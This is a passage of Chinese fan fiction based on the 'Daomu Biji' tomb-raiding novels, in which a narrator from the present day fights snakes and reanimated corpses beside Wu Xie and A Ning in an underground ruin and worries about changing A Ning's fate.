失重感来的十分迅猛,井壁狠狠撞击我的肩,头,膝盖,手肘。矿灯早不知道飞哪去了,四周一片漆黑。
井道里并不是垂直向下,是有坡度的斜坡,但它不是平滑的一条斜线,每下坠一段距离,都会有一小截圆润的台阶,简直要把我撞死。
这种感觉非常恐怖,自己不能掌控方向,只能顺着重力势能跌入深渊,我双手拼命抓着什么,都是徒劳,我呛了好几口水,肺里难受的要命。
恍惚间,水波朦胧中,我好像看到了阿宁的脸。她极速向我移动,似乎还竭力伸出手,要抓住我。
都什么了还幻想阿宁来救我,我觉得自己真是疯了。
我不知道什么时候失去意识的,再次醒来时,我还是在水里,不过被一大堆树枝给勾住了,好歹没有沉在水里。
四周依然是轰鸣的水声,远处好像有灯,我试着喊几声有人吗,但声音连自己都听不见。
浑身都要散架了,我龇牙咧嘴。一动,每一块肌肉都疼。
脑子也天旋地转,本来脑震荡就没好,又在这么个滚筒洗衣机里走了一遭,脑浆就要晃匀了,不知道智商会不会受影响。
这里似乎是一个巨大的蓄水池,我向光亮的地方游过去,四周崖壁上,有高高低低的正方形开口,像下水道一
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样排水,我应该就是从这里面冲出来的。
游的近了,我发现,在一个枯竭的井口,吴邪在里面背对着我站着,但姿势有点僵硬。
他没事,我有点高兴。刚想喊他,突然,我看到他的手臂那里,露出一点红色来。
我在他后面,由于视觉位置差,他手臂凸出的红色,其实是在他的正对面。
我左右一看,一处淤泥混合着树枝的地方,在这蓄水池里堆成了一个岛。我靠过去,借着树枝的掩饰,窥探着那边。
一条野鸡脖子盘踞在吴邪对面,它明显比我们之前见过的蛇大了一倍,它高高昂起脖子,倨傲的盯着吴邪。
我从背包里摸出枪,撕开防水袋子,轻微“咔嚓”一声,子弹上膛。我所处的地方在暗,野鸡脖子又对吴邪感兴趣,没有发现我,我完全可以一枪崩了它。
问题是吴邪离蛇很近,如果我手抖了一下,打偏了,吴邪被我打死,整个吴家会举全族之力追杀我,那时,除非我逃到另一个世界,否则我一定会被愤怒的吴家人撕成碎片。
我犹豫了,打还是不打?
书中,吴邪当然不会死,这个时候会有人来救他。但我成功救下阿宁的事例说明,书中人的生死并不是不可更改的。
如果因为我的蝴蝶效应,导致本该救吴邪的人没有来,或者这个时候,这个时刻,只有我能救他,那我没有开这一枪,会不会害死他?
井口,吴邪挪动了下。野鸡脖子兴奋起来,三角形头部膨胀,红色的鸡冠充血,红的妖艳诡异。
来不及了!这是它攻击的信号!
我心一闭,眼一横,稳稳端起枪,瞄准,扣动扳机!
火药爆炸,子弹高速旋转,咆哮着射出。后坐力把我压到水里,树枝挡住了我的视线,我看不见那边的情况。
“林霖!是你吗!?”
吴邪大叫我的名字,活的声音。
谢天谢地,我没把他一枪崩了。
我几乎虚脱,还没喘口气,无数“咯咯”此起彼伏。
声音在空间回荡,从无数井口盘旋出来。
不好!枪声吸引了蛇群。
我还没来得及脸色大变,一股大力拉着我,一眨眼的时间扯着我向前游动了好几米。
我和吴邪同时被人扯入一个井口,“咯咯”的声音已经到了我们后面。
救援的人很专业,分工明确,有人迅速丢了一个硫磺弹,驱散尾随的毒蛇,有人立刻给我和吴邪安上防毒面具,我嗓子里的辛辣味顿时好了不少。
我们被架着,竞走一样往里走,我脚都没沾地。
走过幽深狭长的通道,里面稍微宽阔点,十七八的大汉戴着防毒面具,阿宁竟然也在里面。
阿宁看到我,没什么表情的点点头,对三叔说:“她是我手下,谢了。”
她也没有解释什么时候和三叔他们一起的,一直很严肃的和三叔说着什么,没分给我一个眼神。
吴邪有点讪讪的,对他三叔说我刚刚救了他,吴三省对我点了点头,这是个认可的意思,伙计们都是察言观色的好手,立刻对我客气起来。
胖子也被救下来,平躺在地上,有人在给他打针。
一边的朽木上,一个人坐在上面,我被吸引了,看着他。
怎么多人我为毛一下注意到他?因为这个人坐姿非常懒散,别人在这种环境中,多少有点紧绷。而他整个人吊儿郎当的。
顿时我心下有预感。他非常敏锐,我才看了他两秒,他一下子转头。透明的防毒面具下面,是一双黑色墨镜。
黑瞎子对我笑了笑,语气却泛着一股寒意:“小姑娘,你认识我啊?”
9. 蛇群
就在我打量原著中的一个重要角色——黑瞎子时,他也盯住我,还问我是不是认识他。
我惊出一身冷汗,大脑飞速运转想着怎么应对他。
否认不是机智的选择,在百岁老人的阅历面前,我就是一张白纸,任何波动情绪就像A4纸上划出的黑线,能被一眼看穿。
黑瞎子和闷油瓶不一样,闷油瓶肯定也能看出我有问题,但只要我不对他造成威胁,他不会搭理我,更不会探究我。
但黑瞎子不一样,这个人怎么说呢,有点癫。
但他不是像2024年的人们,精神状态抽象的那种癫,我们是抽象,不是不要命。黑瞎子的癫,是行走悬崖边上,他也要来个后空翻的那种癫。他不要命。
这种人,我们看书的时候觉得搞笑,喜欢他。但就像那种阴湿病娇角色,看书的时候激动的嗷嗷叫,但现实中一旦遇到,那是要连夜逃出城市的。
黑瞎子就类似于这种角色,我看到他,我的第一反应是害怕。
如果他对我产生了莫大感兴趣,他会像一只从没见过兔子的狗一样撵着我,一定要搞清楚我是谁,以及为什么认识他。
我直视他的眼睛,不敢挪开,一旦挪开,就是心虚,我尽量让自己的声音平且冷,没有任何波动道:“我感觉你有点像我一位朋友。”
一定要语焉不详,似是而非,最大程度的迷惑他。问我yes or no,我得回答or。
“是吗?那我们很有缘啊。”黑瞎子笑眯眯地说。
我在这边装高冷和黑瞎子扯皮的时候,那边吴邪也在和阿宁说话。
“阿宁,你和小哥不是去追陈文锦了吗?怎么只有你一个人,小哥呢?你怎么跑到我们前面了,还和我三叔在一块?”
阿宁似是不经意看了林霖那边一眼,简单的回答他:“我和他走散了,不清楚他在哪。折返回来找你们,跟着你们几个被水冲下井口。进入蓄水池后,我看到这里有人活动的痕迹,爬上来找到了你三叔。”
吴邪挠头:“怪不得我掉下去的时候感觉看到你了,你在林霖那边吧,我就说怎么看到有两个人影。”
“吴邪,林霖那边好像有情况,是你三叔的伙计?你去看着她点,别让她惹事。”阿宁比个手势,转身去了吴三省那边。
……
黑瞎子还在扯着我说话,问东问西,我真想立刻甩开他跑掉,但他嘴巴就没停下来过,我回答着“嗯”、“对”、“没有”,正常人都能看出我不想说话,但他就是不放我走。
我难受的像浑身有蚂蚁在爬,这个时候,终于有人来救我了。
吴邪跑过来,我看到他就像看到了救星,对黑瞎子一点头走了。
我和吴邪在一个地方坐下,吴邪说:“林霖,还没感谢你救了我的命呢。你以后要有什么事可以去杭州找我,我在西湖边有个铺子。你找我,只要我能做到,我一定会帮你的忙。”
我说:“没事,当时我开枪的时候还怕把你打死呢。对了,我开枪之前,除了我,你旁边没有别人了吗?你三叔的人有没有准备救你?”
吴邪一愣:“水下好像是有人扯我裤脚,我还没搞清楚什么意思,你的枪就响了。当时子弹擦着我过去,一枪打烂了蛇头,给我吓一跳。”
我点点头。看来就算当时我不出手,吴邪还是有人救他。那这么说,唯一被我改变的,只有阿宁的命运?
这里离那群伙计比较远,我们说了几句话,我用余光扫了那群人一眼,正襟危坐,目视前方,轻声对吴邪说:“你小心点,别和那些人走太近。”
“怎么了?他们是我三叔的人啊。”吴邪也压低声音,但话语间不怎么相信我。
我依然坐的笔直,说:“你三叔这群伙计,怕是有问题。个个两眼带煞,心思不正。绝对不是你三叔自己的伙计。总之你小心点,别跟他们走太近。”
这群伙计,并不是吴邪三叔本部的人,是他临时从道上找来的。这些人是真正的亡命之徒,擅长翻脸不认人和反水,一旦遇到危险,那是撒腿就跑,根本不管三叔他们死活。
吴邪吃了一惊,“这也是你算出来的?”
我说对。
吴邪半信半疑。
阿宁从远处说:“嘀嘀咕咕说什么呢。走了。”
吴邪惊奇的说:“阿宁怎么回事,一直盯着你。林霖,你知不知道你掉下去的时候,阿宁在你旁……”
队伍开拔,一下子吵闹起来,我没听清他后面说的话:“什么?”
这时阿宁走过来,锐利的视线扫过我们两个,说:“吴邪,你三叔叫你过去。林霖,你跟着我。”
我们穿梭在迷宫似的地下通道里,井道四通八达。西王母古国的国力相当强,排水系统修筑的复杂精密。
我们就像城市下水道里的老鼠群,七拐八拐,通往深处。
走了不知道多久,我们来到一个稍大一点的空间,这里是三叔团队安营扎寨的地方,物资、帐篷齐全,垃圾扔的到处都是。
我和阿宁一个帐篷,我现在和她呆在一起有点不自在,但是周围这群伙计都是道上的狠人,杀人不眨眼。相比之下,我更愿意待在阿宁身边。
阿宁走了,很快回来,给我扔了瓶矿泉水。我手忙脚乱的接住。
“谢谢啊……阿宁。”我说,心里有点感动她竟然还记得这件事,又有点唾弃自己,一瓶水就给我收买了,正对自己无语着,有人叫了一声。
伙计发现了一条宽宽的缝隙。吴三省带人下去探查,不一会儿,吴邪也被叫了下去。
我收拾起东西,找了个伙计要子弹,这个伙计叫“拖把”,给我拿专门型号的子弹,一边拿一边机灵的打探:“林小姐,你和我们小三爷很熟啊,我看你们说这么久的话。林小姐这气质,看起来不像干我们这行的啊,也玩枪?”
我两眼一睁就是编。
我皱皱眉,漫不经心道:“家里在国外做生意,老美那边又不禁枪,有时候会玩玩。”
至于做什么生意,就是他脑补了。我人都下地了,又是阿宁亲口认证的“属下”,能做什么生意?
我没有回答我和吴邪的关系,拿着一盒子弹,利落地转身走了。在欺软怕硬的人面前,有脾气才会另他们不敢惹。
一颗一颗把弹匣填满,没一会儿,黑瞎子上来,让我们全都下去。
阿宁扯着我,所有人进入更深的井道。吴邪应该是被他三叔在下面敲打过了,和我告诫他的话全都对上,他看我的眼神堪称惊异。
阿宁皱起眉警告
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我:“你们两个搞什么呢,吴邪那是什么眼神?”
她严厉的看了我一眼,让我跟紧她。
阿宁是个真正有领队气质的人,一群美国大兵手下她都能治的服服帖帖,更别说我。她稍微放出点威压,我就怂了,老老实实跟在她后面。
我们下了好几个井道,吴三省一直跟着闷油瓶以前留下的记号走。幽深的井道里除了矿灯的白光,只回荡着队伍脚步声和喘气声。
前面的人突然停下了。我抬头一看,面前是满眼的枯树枝和奇形怪状的菌丝,它们密密麻麻覆盖了整个枯竭的蓄水池,我们就像在一个长霉的黑盒子里面。
有人立刻着手清理菌丝,寻找路的记号。
好几个井道口露出来,其中一个,边上有一个白花花的条片状物,我正在疑惑这是什么东西,吴三省上手一摸,脸色一边:“这是蛇蜕,他大爷的是新鲜的!”
吴三省急声催促他们快找。空气中一股菌类的腥味,在这腥味之下,丝丝粘腻的腥臭味被掩盖,潜在危险弥漫开来。我咔嚓一声把子弹上膛,缓缓吐出一口气,迅速扭头对阿宁说:“小心。”
阿宁一愣,我也无法解释,只是警惕地盯着黑暗的井口,浑身紧绷,手死死抓住枪,手心微微出汗。
清脆的上膛声响起,阿宁一手拿枪,一手拿着反光的匕首,半挡在我前面,十分标准美式英语说了一句话,声音颇冷:“I''m not in your turn yet to protect me.”(我阿宁还轮不到你保护我)。
我一愣,心里想的竟然阿宁的英语口语好好,她说英语好苏好欲。
就在这时,井口忽然红光一闪,一个伙计惨叫一声飞出来,冲击力太强,他几乎脱离了地心引力,身体直线爆飞。
井口轰隆作响,窜出一条三米长,浴缸粗的巨蟒,它以无法想象的速度射出,血红庞大的身躯灵活一卷,盘起还在空中的伙计,骨骼碎裂的声音沉闷响起。
我们脸色惨白,条件反射般端起枪,火力咆哮着倾泻,巨大的爆炸声震的人耳朵疼。巨蟒吃痛,甩飞那人,S形游动猛冲过来。
我连发数颗子弹,枪枪打在巨蟒身上,简直像给它订了一排血钉子,黑瞎子这个时候还有心思聊天,边打边嬉皮笑脸:“嗨,林小姐,你枪打的很厉害哟。”
我心里抓狂,当时真想给他一枪崩了。三叔的伙计拔腿就跑,一个队伍作鸟兽散。吴三省怒喝,让他们别跑,没有人听,他们闷头钻入井道口里,但马上又退了出来,惨白着脸说:“蛇!里面好多蛇!”
高亢的咯咯声从里传出来,手电一照,一大团黑色疯狂涌动,从深处极速逼近。我子弹打完,正抖着手换弹匣,一条蛇弹过来,森然的尖牙就要咬我手!我猛的避退,慌乱中,弹匣掉在地上,蛇怨毒的盘踞在上面,咯咯尖叫两声,跳起来直奔我门面!
刹那间我手脚冰凉,大脑几乎一片空白,满脑子吾命休矣。
白光一闪,蛇头一分两半,掉下去的蛇身发疯似的舞动,只连接着一部分头部。更多的蛇围上来,场面极致恐怖。
阿宁猛甩匕首,蛇血飞离。她一梭子打爆我脚下的毒蛇,一把扯过我,把我拽一个踉跄,冲着我耳边大吼:“愣着干什么,跑!”
10. 机关
眼下不是矫情的时候,子弹为我开路,我踩着火星冲向井道,黑瞎子边打边笑:“哟,林小姐过来了”。
我猛蹬上一人高的石壁,黑瞎子抓住我的手臂,一把把我拉上来。阿宁紧随其后,几乎是和我同时翻上来,她大喊快走,所有人闷头往井道里狂奔。
我飞快扭头看了一眼,吴邪已经退往另一个井道,眼下容不得我多想,我跟上阿宁,冲入漆黑的井道。
身后蛇的速度非常快,我没命的跑。脑子里一想到跑慢了会被蛇群啃咬死,我就毛骨悚然。
这样一直逃命不是办法,我灵光一闪,大叫:“淤泥!用淤泥隔绝热量!”
前面立刻有人回应了:“岔道右边有泥池子!”,我们一窝蜂冲过去,右边一拐,果然有一个小型蓄水池,里面是半干不干的泥水。
我们一个接一个跳下去,把头都没入泥里,一动不动。
蛇群几乎是追着我们脚后跟到的,扑簌簌的落水声,野鸡脖子也下来了。
黑暗中,我心跳的厉害,甚至担心这声音会不会引来蛇,冰冷的泥水粘稠、沉重,正慢慢浸透我的头发,我的衣服。我仿佛进入了一个巨大的冷库。
野鸡脖子找不到人,昂着脖子疑惑的游来游去,有几条擦着我的头过去,尾巴尖都要甩到我,那种感觉真是令人发狂。
我越来越喘不上气,泥水从四面八方压迫着我,总觉得身体在不断下沉。鼻子不能呼吸,肺要憋炸了。我很想伸出头吸一口气,但蛇还没走,我一露头就是活靶子。
大脑逐渐发昏,我又开始耳鸣,几乎站不稳,两手下意识扒拉,一下抓到了一个人的手。
那人竟也没甩开,反而用力握住我,热量从她手心传递过来,冰冷又黑暗的地下,这仿佛是我和世界唯一的联系。
不知道过了多久,我再也支撑不住,想要不管不顾的伸头呼吸时,一股大力忽然托起我,紧接着口鼻处的淤泥被抹掉。我浑身都使不上力气,闭着眼,靠在人身上大口大口喘息起来。
很快眼睛上的泥被轻轻一擦,总算能睁开了。生理性的泪水涌出,我看清抱着我的人:“阿宁……”
声音又沙又哑,自己都不敢认,于是我立刻闭了嘴。但温热的指腹抚上我的眼尾,阿宁低头看着我,眼神一瞬间称得上温柔:“没事了,蛇走了。”
我还在愣,她一下把我打横抱起来,趟着泥走上来。
黑瞎子从衣服里把枪拿出来,视线在我和阿宁中打了个转儿,语气夸张的说:“林小姐,你没事吧?”
我不想理他,阿宁把我放下来,我靠坐在一边,擦擦枪上的泥,一颗一颗安上子弹。
擦着擦着,鼻子忽然一股热流,我以为是鼻涕,随意抹了一把,食指指节上居然一片红。
更多的血涌出来,我侧过头,一滴一滴的血溅在地上,绽放成鲜艳的花。
阿宁在和吴三省说着什么,队伍重新整顿,即将出发。有人发现了我的异常,问了一声,阿宁立刻走过来,皱起眉:“怎么了?”
我摇摇头,翻出纸,“没事,大概泥水里太冷了,我跑的又很热,一热一冷,毛细血管破了。”
血很快止住了,我们分成两队,一队带着受伤的伙计休整,一队出发找吴邪他们。我不愿意留在吴三省黑瞎子这里,坚持要去找人,阿宁同意了,一直走在我旁边,大概是怕我突然倒下。
路上遇到了胖子,很快,我们在一个岩壁缝隙里发现了人类的衣服,胖子吆喝几声,缝隙里传来吴邪的应和声。
碎石和沙土被扒开,里面有三个人。
阿宁眼神锁定站在最后面的人,一字一句道:“陈文锦。”
陈文锦微微一笑,大步走向阿宁,伸出手:“这位就是阿宁领队了吧?我听吴邪说过你,幸会。”
我站在一旁看着她们交握的手,又看了看吴邪,这个时候,吴邪应该从陈文锦口中得知了“它”这个组织的存在。
“它”这个不明势力,其实就是为了寻找长生的秘密而聚集起来的一群人,他们深入九门和各大势力中间,暗中拨动棋局。
陈文锦怀疑阿宁和“它”有关,故而之前一直逃跑,躲着阿宁,现在不知道是打消了对阿宁的怀疑,还是有别的想法,选择和阿宁见面了,两个人相谈甚欢。
另我没想到的是,陈文锦竟然向我走过来:“你是,林小姐?”
我连忙点点头说你好你好。
陈文锦的年龄看起来很小,但眼睛和20岁的人不一样。她的眼神包容又温和,像海一样浩瀚,这是个心中有沟壑的女人,让人不自觉就能服从她的指令。
我有些惴惴不安,阿宁很快引着她去见吴三省,我和吴邪跟在后面。
吴邪很沉默,陈文锦应该告诉了他,当年西沙海底墓的真相。他真正的三叔吴三省已“死”,这么多年,三叔这个角色,都是由解连环假扮的。
他戳戳我的胳膊肘,低声说:“你这个骗子,还说你会算命,人都算的不对……”
我打断他,小声说:“命理交融,因果纠缠。”
吴邪一愣:“……什么?”
我凑近他:“你真正的三叔,没死。”
……
我坐在一边捶腿,看着吴邪吴三省陈文锦围在一起,吴三省被蛇咬了一口,虚弱地躺在一边,对陈文锦说话。
阿宁在我旁边坐下,仰头喝了口水:“你鼻子好了吧?”
我说好了,她就不问我了,我也不知道该和她说些什么,我们就陷入良久的沉默。
我看着眼前的一切,陈文锦听着吴邪“三叔”说话,面有动容,“三叔”神情悲戚,吴邪眼神迷茫难过。
伙计们少了一半,剩下的人大多精神紧绷,警惕四周。
黑瞎子悠哉坐着,扯着闷油瓶说话。
我低下头。也有些迷茫。
我知道所有人的结局,我能和吴邪“剧透”,我知道故事走向,我知道他们每个人都在追寻什么。
那我自己呢?我的结局又是什么?
非是此间人,我也没打算、没本事扭转乾坤,我最多最多,就是改写阿宁的结局,弥补心里的遗憾。
那么在此之后,我又该何去何从?
如果我再也回不了家了,我该怎么办?
我沉思着,直到有人大喊一声,我才惊醒。回神时,猝不及防对上阿宁探究的眼睛。
阿宁一直盯着我,我憨笑起来,问她怎么了。
她不吃这套,问我在想什么。
我挠挠头:“想出去了吃草莓小蛋糕。”
蓄水池那边喧闹起来,伙计们发现水池底部有一块石板,喊着号子就掀了起来。
我怕阿宁再问我话,一溜烟窜过去看,石板下面有一个洞,黑瞎子和闷油瓶下去
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探查,很快,带回来消息,里面似乎别有洞天。
留了人照顾昏迷的吴三省,我们一个接一个下去,我顺着安全绳滑下去,足足滑了几十米才到底。
这下面是一个巨大的石洞,手电一照,远处黑漆漆的,不知道有多远。
伙计们下来了,吴三省一倒,他们几乎立刻嚣张起来,言语间也没了对吴邪的尊敬,散漫的四处逛,想找点好东西。
队伍的氛围紧张起来,陈文锦稳住吴邪,劝说了几句。我偷偷把子弹上膛,小心着这些人。
胖子打了几发照明弹,周围亮堂起来,有人惊呼:“那是什么!”
整个环形石窟仿佛某个体育场,一级级台阶修筑的整整齐齐,但这还不足以令人惊惧。
让我们震撼的是,每一级台阶上,都有一排排人形玉俑,它们密密麻麻的站着,无声的注视着我们。
这个体育馆坐满了观众,只是所有人都不会说话,都低着头盯着我们。
我们动静立刻变小,唯恐惊动这些沉睡的尸体。轻手轻脚向下面走,照明弹落下的最底下,是一个祭坛。
里面摆放着青铜器具,大小,种类各不相同,但这里空气潮湿,青铜表面结了一层厚厚的铜锈,腐朽和威严交织。
祭坛上所有的青铜器都比人高,每一个要是能弄出去,大概都是一个博物馆的镇馆之宝。
我惊叹着凑近了看,绿色铜锈像是结痂了,一块一块覆盖在青铜器上,扑鼻而来一股混合酸气的土腥味。
祭坛中心,一块石盘上,满是星罗棋布的小圆药丸。
这里是西王母炼丹的地方,这里,是这个古代国家的最高机密。
对这种古国文明,我们多少都怀着些敬畏,但有人没有敬畏之心。
“呦呵,这是什么?这个东西值钱吧。”一个伙计摸过来,好奇地瞅着丹药,眼看着就要上手。
阿宁冷哼一声:“别动,动了就死。”
他有点不高兴,瞪了阿宁一眼,他身后几个伙计也面色不善。
吴邪打圆场,几个伙计也不领情,斜着一条腿抽起烟,冷冷地看着我们。
胖子往上面打了一发照明弹,不知道多高的头顶上,无数根铁链吊着一个庞大无比的丹炉,悬在上空。在这个巨大的青铜丹炉面前,底下所有的青铜器就是玩具。
阿宁吴邪他们被丹炉吸引注意力时,那几个伙计动起来了。我早就警惕着他们,立刻拔枪大声说:“干什么!”
原著中,这些伙计动了贪念,想要拿走石盘上的丹药,于是趁大家不注意,挟持了陈文锦,动了丹药,造成机关启动,差点害死所有人。
为了避免这个情节发生,我从一开始就拉着陈文锦,不让她落单。
只是我万万没想到,这些人的疯狂程度已经超乎了我想象,在我大喊的时候,对面已经端起了枪,数个黑洞洞的枪口对着我们。
伙计轻浮的笑,一边就去拿石盘上的丹药:“别紧张嘛林小姐,咋们兄弟们又不像你家家大业大的。出来一趟,还是要摸点东西,你总不好挡了别人的发财路,你说对吧?”
我失声道:“别动——”
来不及了,丹药被拿走,精巧的石盘骤然失去平衡,轰隆隆动起来。紧接着,四周忽然传来异动,玉片碎裂的清脆声此起彼伏,看台上沉默的观众动起来,阿宁惨白着脸,“玉俑,活了!”
11. 陨玉
机关启动,大地猛然震颤,出口石闸立刻落下,退路已封,我们完全变成了瓮中的鳖,十几个人面对着一体育馆的粽子。
我心里暴怒,一瞬间恨透了那些愚蠢的伙计,手里端着枪恨不得把他们全突突掉。那个拖把还在火上浇油,铁青着脸大声催促我们快想办法。
玉俑里的尸体动起来,青紫色血尸诡异的脸层层叠叠,放眼望去,全是诡谲的古尸。
这场面,几乎没有了生路,所有人面无血色,两股战战。
胖子最猛,立刻开枪,打退靠近的血尸,我看到他,大吼:“胖子!用你的雷/管把上面的青铜丹炉炸下来!祭坛下面有路!”
阿宁飞快地扫射,打飞一圈血尸,对吓坏了的拖把他们说:“都把枪端起来!还不到放弃的时候!”
胖子一手拿枪,一手从腰里摸雷/管,奇道:“嘿,真见鬼了,我私藏雷/管你都知道,不会连我银行密码都知道吧!”
他抡圆胳膊,迅速地甩飞雷/管,大叫道:“隐蔽!!”
我们马上躲到青铜器后面,离祭坛中心远远的。胖子又扔了一颗雷,丢到血尸堆里。
两道爆炸声几乎同时响起,威力堪比声波斗技,地面震了震,几具血尸直接被炸飞,从我们头顶上飞过去。
碎石噼里啪啦的射过来,青铜器被击打,立刻发出浑厚的声音。头顶上,铁链被炸断了几根,丹炉还没掉下来。
被炸散的血尸慢慢汇聚,乌泱泱朝我们压过来,但子弹告罄,好几个人的枪都哑火了。
阿宁立刻飞奔向胖子,胖子默契的丢给她一管雷,这次,两颗雷从两边甩上去,铁链立刻炸断了,一座山一样砸下来,祭坛立刻坍塌,露出下面的缝隙。
“快走!”有人大吼。
所有人闷头冲,我跑了两步,一下不知道被谁扔的枪绊倒,狠狠磕到青铜器上,几乎要疼晕过去,我立刻爬起来,跌跌撞撞向前跑。
这么一绊,我落在了最后,吴邪大吼,让我快点,我什么都听不清,脑子里都是青铜的嗡鸣。更糟糕的是,我的鼻子又开始飚血,血尸顷刻被我吸引过来。
有人在为我火力压制,但效果不大。受我鲜血影响,血尸移动的速度明显加快,我已经能闻到身后的恶臭味。
前面是一个两三米深的断口,下面的裂缝里,已经进去的阿宁跑出来,张开双臂大喊:“跳下来!快!”
我一抹脸,冲到断口边缘,死死咬着牙用力一蹬,以极快的速度飞了下去。
下一刻,我落入一个温暖的怀抱。
阿宁被我砸的闷哼一声,后退数步,也不放我下来,扛着我就往回冲,刚冲进去,吴邪他们立刻封住裂缝,连一丝缝隙都不敢留。
我的头七荤八素,被爆炸的声波震的难受,又夺命狂奔,五脏六腑都移了位似的。现下暂时安全,忍不住干呕起来。
其他人也没好到哪去,受伤呻吟的,神经质紧绷的,队伍里弥漫着一股惨淡的气氛。
有水壶贴近我的唇,我喝了两口,感觉好多了,自己拿着水壶,问阿宁:“谢谢……我刚刚,有没有把你砸痛?”
阿宁摇摇头,示意我喝好了把水壶还给她,我这才发现,这是她的水壶,仔细一盯,上面还沾了我的血。
我真想原地去世,想擦擦壶口,却发现自己身上没有一处干净的地方。
我十分窘迫,把自己身上的水壶递给她:“这个被我弄脏了,要不你用我的吧。”
这话一出口,我就觉得十分唐突,正抓耳挠腮想找补一下,阿宁接了我往回收的水壶,挂在了自己身上。
她蹲在我面前,静静的看着我,我糊拉着脸,一手血痕和泥,难堪的低下头。在心上人搞面前这么狼狈,世界上恐怕只有我这一个傻叉了吧。
一只手忽然伸出来,我茫然的抬头,阿宁顿了顿,拍拍我肩膀,说:“下次跟在我身边,别乱跑。”
迟钝的大脑还没反应过来,她就走了。
正发着呆,陈文锦走过来,在我旁边坐下,问我怎么样了。
我说还好,陈文锦就问我:“林小姐,你是怎么知道这祭坛下面有路的?”
她眼神犀利起来,审视的盯着我。
我看着她的样子,恍然。怪不得陈文锦愿意和阿宁打交道了。陈文锦在遇到吴邪时,吴邪一定告诉了她,我这个半路加入的奇怪的人。
我比阿宁更可疑,陈文锦怀疑我是“它”的人,相比于武力值强悍的阿宁,如果我是“它”派来的人,无疑好对付的多。
但可惜文锦找错了。
她的压迫感很强,周围几个伙计惊疑不定的看着我们,偷偷远离。吴邪凑过来,替我求情:“文锦阿姨,她就是一个学生,会算命,算的可准了,我猜这路也是她算出来的。”
陈文锦没吴邪这么单纯,始终没说话,逼视着我眼睛。
我歉意的笑了笑,对她说:“你找错了,我不是。”
我答非所问,陈文锦却一震,一把抓住了我的手,低声道:“你…知道?”
她复杂的看着我,还想问什么,阿宁过来,不知道刚刚在干什么,一手的灰。她盯着我和文锦交握的手:“走了,你们在干什么。”
阿宁眉头一皱,陈文锦看了她一眼,又看了看我,笑笑,没说什么,率先离开。
闷油瓶发现了他的记号,撞开一处石头,几个人把洞扒拉大,勉强能通过。我们继续向下,深入地底。
西王母国的地下储水系统十分复杂,我们钻过洞,外面是一个狭窄的水道。走了一会儿,水道逐渐拓宽,四周开阔起来。
水面变宽,变深,水流平稳的向前流动,没过多久,我们通过水道,进入一个天然水洞中,这里完全没有人工开凿过的痕迹,让人叹为观止。
矿灯开到最亮,远处依然是幽深而黑暗的,水在这里汇成了一个湖,湖中四周没有路,但水中有圆柱形的巨大石柱倒插在水里,支撑着这片空间,我们就过去查看,果然在石柱上发现了闷油瓶的指路记号。
地下水冷的厉害,我牙齿打架,跟着众人淌水深入,脚下的触感渐渐变了,
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大量碎陶瓦沉在湖底,他们研究了一会儿,黑瞎子捞出半截人头骨,乐此不疲地潜下去看。
阿宁和陈文锦讨论的认真,我不想研究头盖骨也不想听什么人头祭祀,矿灯扫着水面到处看。
水面非常平静,除了黑瞎子游动产生的波纹,几乎没有其他变化,像镜子一样,光在水面上一扫,忽然,我看到水里一个青色的脸正冷冷盯着我。
我吓的大叫一声,阿宁立刻过来:“怎么了?”所有人都看着我,我抓着阿宁的手臂,哆哆嗦嗦把矿灯往上照。
震撼已经无法形容了,头顶高处,一块巨大的石头镶嵌在上面,密密麻麻的孔洞仿佛是一颗千疮百孔的星球。
它在远古时期坠落在这里,燃起熊熊大火。时间长河滚滚向前,岁月时代更迭,火焰熄灭在尘埃里,灰色的陨石却永远镶嵌在了岩石中。
人肉眼水平视野范围是180°,这块陨石,大的人眼都装不下。
刚刚水面反射,那青色的脸其实是在头顶上窥着我,它是在一个个孔洞里!
“有人、上面的洞里有人。”我机械重复。
陈文锦马上来到我的位置,我指给她们看我刚刚看到怪物的地方。
拖把被我吓的够呛,骂了两句,灯一扫,不耐的说:“你自己有病别吓唬别人!哪有什么人脸?胆子这么小还下地,回家玩泥巴去吧。”
我两边都站的人,阿宁和文锦安慰了我几句,我渐渐平静下来了,闻言立刻回击:“刚刚血尸那里,不知道是谁吓的枪都甩飞了,抡膀子就跑,一定不是你吧,拖把?”
拖把马上急了,对我破口大骂,黑瞎子勾着肩劝说两句,他才勉强闭嘴。
陨石上的洞口极致黑暗,吞噬一切光亮。我们照了半天,黑洞简直就是深渊,黑沉沉的压在头上,像一只只眼睛凝视着我们,仿佛一只巨大丑陋的怪物。
胖子在远处喊我们,走近一看,这个洞穴的尽头,是陨石和石壁的连接处,无数钟乳石样子的石林倒悬着,石锥之密集,可以令密集恐惧症患者当场倒地抽搐。
节节攀升的石林上,最高处有一块岩石平地,最深处,霸气高大的王座之上,坐着一个人。
我们费了一番功夫爬上去,神台之上,西王母的尸身威严的坐着,表面的皮肤发青,但肉身保存完好,服饰非常繁重华丽。我不敢靠近,远远的看着,甚至很想给她跪下来磕头。
但这么多人,我不好意思,就对她拜了拜,心里告声叨扰。
我们爬上高高的神台,这里已经离陨石非常近了,跳一下就能撞到头。
我敬畏地伸手摸摸,触手竟然很光滑温润。
我站在高台之上,向下看去,心中也升起一股感慨之情和恍惚感。我竟然活下来并且走到了这里。
不出意外的话,后面只有最后一个情节了,那就是陈文锦进入陨玉,从此消失。吴邪带着同样进入陨玉、遭到刺激失忆的闷油瓶逃了出去。
我偏过头,瞥了眼阿宁。现在最大的问题是,我该怎么阻止阿宁进入陨玉?
12. 失控
以阿宁的性格,我们历尽千辛万苦走到了这里,她说什么也得进去看看。
但问题是,陨玉里面的诡谲程度恐怕超乎想象。原著中,闷油瓶进去后遭受了巨大的精神冲击,精神几乎失常,可见里面恐怕有极端恐怖的存在,或者什么诡异物质。
阿宁绝不能进去,一旦去了,非死即残,要么就是再也出不来了。
我走到陈文锦那边,阿宁吴邪都在这里。我们围成一个圈,看着陨玉上的洞。
陈文锦一眨不眨地盯着孔洞,说:“我有一种感觉,我所寻找的东西,就在这些洞里。”
“我要进去看看。”
她们这种人,一旦下定决心,就会立刻开始行动。陈文锦利落地拿出绳子,在腰间系上,几分钟的功夫,就准备好了。
吴邪怕有危险,想阻拦她,但只是嘴唇动了动,最终没有开口。陈文锦的身体已经开始发生尸变,不久的将来,她就会变成和霍玲一样的禁婆,其实她已经走投无路了。
陈文锦身手矫健,踩上胖子交叉的手,另一只脚在胖子肩膀上一蹬,人立刻探了进去。
吴邪说了声小心,她低头对他笑了笑,视线又看向我。
